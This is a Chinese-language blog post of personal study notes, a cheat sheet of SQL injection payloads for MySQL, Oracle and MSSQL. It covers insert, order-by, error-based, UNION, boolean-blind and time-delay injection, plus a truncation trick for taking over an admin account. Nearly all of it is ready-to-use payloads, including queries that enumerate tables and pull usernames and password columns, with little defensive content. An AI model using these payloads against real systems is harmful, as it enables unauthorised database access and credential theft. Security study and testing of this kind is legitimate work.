sql注入备忘录

最近一直在看《SQL注入与防御》这本书籍,发现这本书许多的注入手段都已经过时,但是用来学习数据库基础语句,加深对注入的理解还是不错的。建议学习的时候要一边看书上的语句一边配合Google进行学习,不然可能会走弯路。

简单总结记录一下最近学习注入看到的一些注入语句,主要包括mysql,mssql,oracle数据库,后续学习过程中发现新的注入手法,也会一直更新。便于自己以后学习查看。

文章开始之前首先推荐一个网站:http://sqlfiddle.com/#!18/a7540/34946。这里可以直接在线测试sql语句

一、MySQL

这里就不放一些比较常规的注入手段,主要记录一下本人之前还不会的注入语法亦或是不知道的注入点。

0x01:insert注入

(1)回显注入
例如语句为:
insert table(col1,col2) values (‘A’,’B’)
注入点在最后一个参数,即B处

利用在mysql中字符与整型相加时,整型具有优先级来进行注入
例如select (‘a’ + substring((select @@version),1,1))

进行注入 insert table(col1,col2) values (‘A’,’B ‘+substring((select @@version),1,1)) +”)
即注入语句为:B’+substring((select @@version),1,1)) +’

(2)报错注入
bob’ or updatexml(1,concat(0x7e,database()),0) or ‘

(3)延迟注入
‘+(select case when ascii(substr(database(),1,1))>1 then sleep(5) else 1 end from ((select 1) union (select 2)) A)+’

0x02:order by注入

即位于order by后的注入点,因为这里无法进行参数化查询,若设置不当经常会出现注入

(1)布尔盲注

假设后台的sql语句如上,令order=1,0

页面无回显,再令order=1,1

页面成功回显,以此判断注入

(2)时间盲注
利用延迟判断注入点
order=(select*from(select sleep(1))a)

0x03:sql约束攻击

在处理SQL中的字符串时,字符串末尾的空格字符都会被删除

在注册时,若网站没有消除空格,注册admin与admin 等效,登录时sql语句进行查询又会删除空格,从而实现越权登录admin账户

二、Oracle

对于Oracle注入则包含了许多基本的注入手法

0x01:布尔盲注

(1)利用substr
?id=xx and (select substr(user,1,1) from dual)=’U’–
在根据页面返回进行盲注

(2)利用oracle decode函数

用法:
IF 条件=值1 THEN
    RETURN(翻译值1)
ELSIF 条件=值2 THEN
    RETURN(翻译值2)

select decode(substr(user,1,1),’S’,1,0) from dual
如果user第一位为S,返回1,否则返回0,所以也可用于盲注
通过判断user第一位进行盲注,若匹配成功,sql语句为and 1=1,页面正常返回数据

0x02:回显注入

判断回显字段:
?id=1 and 1=2 union select ‘null’,’null’ from dual– //测试中可能会需要测试字段类型,修改union后的null为数字或字符然后根据回显即可

查询当前用户:
select user from dual;

查询数据库
select distinct owner from all_tables;

列出数据表
select table_name from all_tables;

查询额外的数据表
id=1 and 1=2 union select ‘null’,(select table_name from all_tables where rownum=1 and table_name not in (‘ICOL$’)) from dual–

查询字段
id=1 and 1=2 union select ‘null’,(select column_name from user_tab_columns where table_name=’sns_users’ and rownum=1) from dual–

查询额外字段
id=1 and 1=2 union select ‘null’,(select column_name from user_tab_columns where table_name=’sns_users’ and rownum=1 and column_name not in (‘USER_NAME’)) from dual–

获取字段中的内容
id=1 and 1=2 union select user_name,user_pwd from “sns_users”–

0x03:报错注入

dbms_xdb_version.checkin()函数
属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID

使用方法:
DBMS_XDB_VERSION.CHECKIN( pathname VARCHAR2) RETURN DBMS_XDB.resid_type;
pathname 签出资源的路径名

进行报错注入:
id=1 and (select dbms_xdb_version.chenkin((select user from dual) from dual) is not null);

dbms_xdb_version.uncheckout()函数
用法与checkin一致
id=1 and (select dbms_xdb_version.uncheckout((select user from dual) from dual)is not null);

dbms_xdb_version.makeversioned()函数
用法与checkin一致
id=1 and (select dbms_xdb_version.makeversioned((select user from dual) from dual) is not null);

ctxsys.drithsx.sn()函数
此函数去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容

id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual));

0x04:延迟注入

判断注入:
?id=1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE(‘x’,5))–

再利用oracle decode函数进行注入

id=1 and 1=(select decode(substr(user,1,1),’S’,dbms_pipe.receive_message(‘RDS’,5),0) from dual) —

三、Mssql

数据库如下

0x01:布尔盲注

(1)len()函数
根据页面回显判断出数据库长度
id=1 and len(db_name())>1

在利用case 与substring结合,注出数据
select * from ForgeRock where id=1/(case when (ascii(substring((select db_name()),1,1))>64) then 1 else 0 end);

(2)is_srvrolemember函数
is_srvrolemember判断当前用户是否属于某组,属于返回1,不属于返回0
查询当前用户是否属于某一组:select is_srvrolemember(‘sysadmin’);

利用此函数进行注入:
select * from ForgeRock where id=1-(is_srvrolemember(‘sysadmin’));

0x02:报错注入

(1)直接报错
网站错误信息处理不当,进行类型转换时直接报错回显信息

(2)利用having与group by进行报错注入

SELECT
  productName,
  description
FROM
  ForgeRock
WHERE
  productName='OpenIDM' having '1'='1'

报错回显出了第一列

在结合group by回显其他列

SELECT
  productName,
  description
FROM
  ForgeRock
WHERE
  productName='OpenIDM' group by productName having '1'='1'

0x03:延迟注入

waitfor delay ‘0:0:4’
(1)验证注入
select * from ForgeRock where id=1 waitfor delay ‘0:0:4’

(2)猜解数据库
select * from ForgeRock where id=1 if (substring((select db_name()),1,1)=’d’) waitfor delay ‘0:0:4’

if (ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),1,1)) = 116) WAITFOR DELAY ‘0:0:3’–

发表评论

电子邮件地址不会被公开。 必填项已用*标注